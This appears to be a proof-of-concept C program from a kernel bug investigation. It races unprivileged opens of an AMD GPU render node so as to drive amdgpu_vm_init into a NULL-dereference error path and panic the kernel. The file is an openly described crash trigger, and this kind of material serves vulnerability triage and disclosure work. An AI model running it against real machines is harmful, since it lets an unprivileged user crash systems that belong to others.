DF-3864 / vm_init_error_race.c
/* * DF-3864 trigger — race render-node opens (each runs amdgpu_vm_init, * amdgpu_kms.c:990) against IB-pool exhaustion so that * amdgpu_vm_clear_bo() fails on some open and amdgpu_vm_init takes the * error_unreserve/error_free_root path with vm->root.base.bo == NULL * -> amdgpu_bo_unreserve(NULL) / amdgpu_bo_unref(&NULL->shadow) -> panic. * * Run on amdgpu hardware as an unprivileged user: * ./vm_init_error_race /dev/dri/renderD128 * Terminal IB consumer: a second process submitting large CS ioctls, * or simply N_PARALLEL opens on a memory-pressured machine. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <pthread.h> #include <errno.h> static const char *node = "/dev/dri/renderD128"; static volatile int stop; static void *opener(void *arg) { int i; for (i = 0; !stop && i < 20000; i++) { int fd = open(node, O_RDWR | O_CLOEXEC); if (fd >= 0) close(fd); /* full vm_init+vm_fini each time */ } return NULL; } int main(int argc, char **argv) { pthread_t th[8]; int i; if (argc > 1) node = argv[1]; if (open(node, O_RDWR) < 0) { printf("open(%s): %s — no AMD GPU on this system; " "amdgpu_vm_init (amdgpu_vm.c:3048) never runs " "(see VERDICT.md)\n", node, strerror(errno)); return 1; } for (i = 0; i < 8; i++) pthread_create(&th[i], NULL, opener, NULL); for (i = 0; i < 8; i++) pthread_join(th[i], NULL); printf("no panic observed (need IB-pool pressure concurrently; " "see README 'Terminal IB consumer')\n"); return 0; } |